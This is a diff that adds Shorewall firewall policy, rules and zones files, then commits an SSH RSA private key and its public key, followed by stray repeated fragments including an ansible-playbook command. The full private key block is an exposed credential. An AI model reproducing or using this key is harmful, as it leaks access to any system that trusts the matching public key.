+net             fw              ACCEPT
+fw              net             ACCEPT
+
+net             all             DROP
+
+# THE FOLLOWING POLICY MUST BE LAST
+all             all             REJECT          info
+#LAST LINE -- ADD YOUR ENTRIES ABOVE THIS LINE -- DO NOT REMOVE
--- a/shorewall/rules
+++ b/shorewall/rules
@ -0,0 +1,11 @@
+#ACTION  SOURCE                 DEST    PROTO   DEST    SOURCE  ORIGINAL     RATE            USER/
+#                                               PORT    PORT(S) DEST         LIMIT           GROUP
+#ACCEPT  net                     fw      tcp     80
+#ACCEPT  fw                      net      tcp     80
+#ACCEPT  net                     fw      udp     53
+#ACCEPT  fw                      net     udp     53
+#REJECT  net                     fw      udp     53
+#REJECT  fw                      net     udp     53
+#ACCEPT  net:14.15.16.112/27     fw      icmp    8
+
+#LAST LINE -- ADD YOUR ENTRIES BEFORE THIS ONE -- DO NOT REMOVE
--- a/shorewall/zones
+++ b/shorewall/zones
@ -0,0 +1,6 @@
+### Comments, comments, and more comments.
+#ZONE   TYPE    OPTIONS                 IN                      OUT
+#                                       OPTIONS                 OPTIONS
+fw      firewall
+net     ipv4
+#LAST LINE - ADD YOUR ENTRIES ABOVE THIS ONE - DO NOT REMOVE
--- a/ssh/id_rsa
+++ b/ssh/id_rsa
@ -0,0 +1,27 @@
+-----BEGIN RSA PRIVATE KEY-----
+MIIEpQIBAAKCAQEAoKG1DtjMXHDJfF59Y5nO7Yl38fkjRL1LQhF7RZKbGScWBNIW
+foAS0wrd3wUnd5YMtIeiBj98H+V8IEn0ChAAxGfHXqqmmYlU6ABESINob+h70Bnm
+UwiRbRnA64o3d9+cz2T8YLf+1p7///Z8LA8U+7rS+kvKvtYCQ9llDAxtbe39CxCs
+2HASam3U6VArq9SdSqph5MudBaYhaxx4V8VDdXEhG2pimlh8e7zdPZ8AYbYLLDhq
+Ytd+wn9azLXPQ3w/vC+Pn4taUBYnlERDY45vaVsPdnR+ao9ckMLUS6EwJVQmgMzB
+2yyNCbPQYvRPL0rxoGstfCmmjY3EzOh6kEA6wwIDAQABAoIBAHqrAxnTdj0h5LyV
+bCwjyWKdGHwxRj24UUCjGQCIdOlAcBA+X+863yVLpyQpS3qHnCxBZ/pdgOza02/V
+CgilL/DNT/N7Xr7hoXWKvpqhv5+2atcA8GN4p5YplKpLYxCoM5guBo3V9UbxJY7T
+LQB4hA25HmUGfE5AIHqwCfqpgufvIO1enhe1Vh/6l1FJqJuNj2pBGeXOyOMV95GN
+xC5/BVytJIx2Rts5qtwpt5iPE3pKdsrWc71qACxk3dG8h9OZnuE3vuCg/Wp8jdwk
+NHZ6nWlt0BbST3wN0pyTp6cqtZ0qqfSpZCVRegeQW5ENR9NaigDX6RADKRnms46J
+ziDSZAECgYEA0WBDY47CA9Ej0Y2zBcV3x03cznSnxr7BVty32xbnNgxGF5jNUDdU
+E2JwJs86sV75VV0fpgrbN45lBV/2ImefrPr4kJAIL2J4eyVdOTTT/DO9Tuw6NP8R
+AYMZOzOlgFjx3arnjlOK5AicFseWFCXvezuAMPcGpImgw7xHHM3RcFcCgYEAxGa2
+T+J119HWf15kN7bx5RaUl9J4DvvE5oHtA7zsMPO2fRpfwXAb8yKwIXfZ7186frPb
+jo3ZQykcPuJ3MldvTWEuUhY5W1HSF1sBJOPZHuRfQicv8Uj4Y1kWltQf4Ikb3Uyh
+T0fZJul4HkPAo/Q65zIAtJ9tWukAP/lmnwO9VXUCgYEAiY62F4WmH/3ai4WOFX+b
+5xxXsmhgBiozOc8/F7jfZNoBfuVMFqSTHz0wM784b2nXY+cPsPY2+jQaWMKoIgh0
+lqA4iDmotwD56OYubjQwBeU0PdLjlwfw805fWE7hMAa/uQPcp9xpRtIFQs4T4t7d
+jNgVq5XQDm/BaHedPOZX8HcCgYEAuKpu31vqO7wUt/vTtUMx3JpHqxz9P/FgqPAf
+H/WiC0EMJEMJKAO2c/z4qO9dHiJnCL0qQraDQw/DfClJtC7b+2DVwd8dnQyowscR
+o1MNUmueWcAo5vEag6c/gx/+vQuOBJ1JyxaeSmUZSTOhTUeVns64NRz2IJWWY5Cn
+fn1KwUCgYEAjYYeQX/W+2r8SFipPQQi/36EqLPwko58C/sbJR0gySP6El7hNQRt
+Sdmd9hfMXRR+VCZWmmzb6T4fc80XxteI9eANkZ7xhNuQe11EDvPqmc9WSF0s+l1T
+eQnkt+an7Qv2prDSU6d1KlOrOuCXU8IhbkuffvRSYXwK9T79bTG8iIQ=
+-----END RSA PRIVATE KEY-----
--- a/ssh/id_rsa.pub
+++ b/ssh/id_rsa.pub
@ -0,0 +1 @@
+ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgobUO2MxccMl8Xn1jmc7tiXfx+SNEvUtCEXtFkpsZJxYE0hZ+gBLTCt3fBSd3lgy0h6IGP3wf5XwgSfQKEADEZ8deqqaZiVToAERIg2hv6HvQGeZTCJFtGcDrijd335zPZPxgt/7Wnv//9nwsDxT7utL6S8q+1gJD2WUMDG1t7f0LEKzYcBJqbdTpUCur1J1KqmHky50FpiFrHHhXxUN1cSEbamKaWHx7vN09nwBhtgssOGpi137Cf1rMtc9DfD+8L4+fi1pQFieURENjjm9pWw92dH5qj1yQwtRLoTAlVCaAzMHbLI0Js9Bi9E8vSvGgay18KaaNjcTM6HqQQDrD nlknguyen@NN-Ubuntu
			`@ -0,0 +1,2 @@`
			`ansible-playbook -u docker -i inventory_w.yml test3.yml -f 4 --ask-pass --ask-become-pass`
			`@ -0,0 +1 @@`
			`ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgobUO2MxccMl8Xn1jmc7tiXfx+SNEvUtCEXtFkpsZJxYE0hZ+gBLTCt3fBSd3lgy0h6IGP3wf5XwgSfQKEADEZ8deqqaZiVToAERIg2hv6HvQGeZTCJFtGcDrijd335zPZPxgt/7Wnv//9nwsDxT7utL6S8q+1gJD2WUMDG1t7f0LEKzYcBJqbdTpUCur1J1KqmHky50FpiFrHHhXxUN1cSEbamKaWHx7vN09nwBhtgssOGpi137Cf1rMtc9DfD+8L4+fi1pQFieURENjjm9pWw92dH5qj1yQwtRLoTAlVCaAzMHbLI0Js9Bi9E8vSvGgay18KaaNjcTM6HqQQDrD nlknguyen@NN-Ubuntu`